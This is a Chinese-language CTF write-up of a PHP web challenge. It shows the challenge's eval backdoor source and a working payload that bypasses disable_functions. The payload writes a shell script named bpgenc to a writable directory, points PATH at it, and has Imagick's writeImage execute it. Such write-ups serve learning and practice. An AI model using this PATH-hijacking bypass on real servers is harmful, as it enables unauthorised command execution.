xp0int Posted on Apr 3 2019 安装了Imagick,但是这个版本不存在RCE。 `backdoor=echo base64_encode(file_get_contents('index.php'));`读出index.php ```php <?php $dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]"); mkdir($dir); ini_set('open_basedir', '/var/www/html:' . $dir); ?> <!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body> <pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`. So I installed php-imagick in the server, opened a `backdoor` for you. Let's try to execute `/readflag` to get the flag. Open basedir: <?php echo ini_get('open_basedir');?> <?php eval($_POST["backdoor"]);?> Hint: eval($_POST["backdoor"]); </code></pre></body> ``` 题目能写的目录在`$dir="/tmp/'.md5($_SERVER['REMOTE_ADDR']);` 当时找到了一篇文章: https://www.freebuf.com/articles/web/192052.html 可以通过设置`LD_PRELOAD`环境变量加载动态库文件绕过`disable_functions`, 但还需要一个能启动新进程的函数,文章中用来`mail`,但是`disable_functions`里禁止了,然后我就疯狂找新的函数,但还是找不着...(其实这是另一个解法,用函数error_log,气死人了) 目标还是Imagick,去看Imagick源码里的配置文件: https://github.com/ImageMagick/ImageMagick6 ![imagick](https://leanote.com/api/file/getImage?fileId=5ca4d12bab64416bfb00384e) 发现Imagick在读写图片的时候会执行相应的程序处理,比如bpgdec或bpgenc,但却不是绝对路径,所以用修改PATH的方法就能RCE。 更改PATH到`/tmp/...`,将shell脚本写进`/tmp/.../bpgenc`并chmod 777,然后调用`writeImage('a.bpg')`,这样Imagick就会执行`/tmp/.../bpgenc`。 payload: ``` backdoor=putenv("PATH=$dir");$exploit = "#!/bin/sh\n/readflag > $dir/flag\n";echo $exploit;file_put_contents($dir.'/bpgenc', $exploit);chmod($dir.'/bpgenc', 0777);$img = new Imagick();$img->newImage(100, 100, new ImagickPixel('transparent'));$img->writeImage($dir.'/a.bpg');print_r(scandir($dir));echo file_get_contents($dir.'/flag'); ``` ![title](https://leanote.com/api/file/getImage?fileId=5ca4d392ab644169fd003a83) 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Misc] Neuron Break - LanceaKing [Crypto] babyrsa - CirQ
没有帐号? 立即注册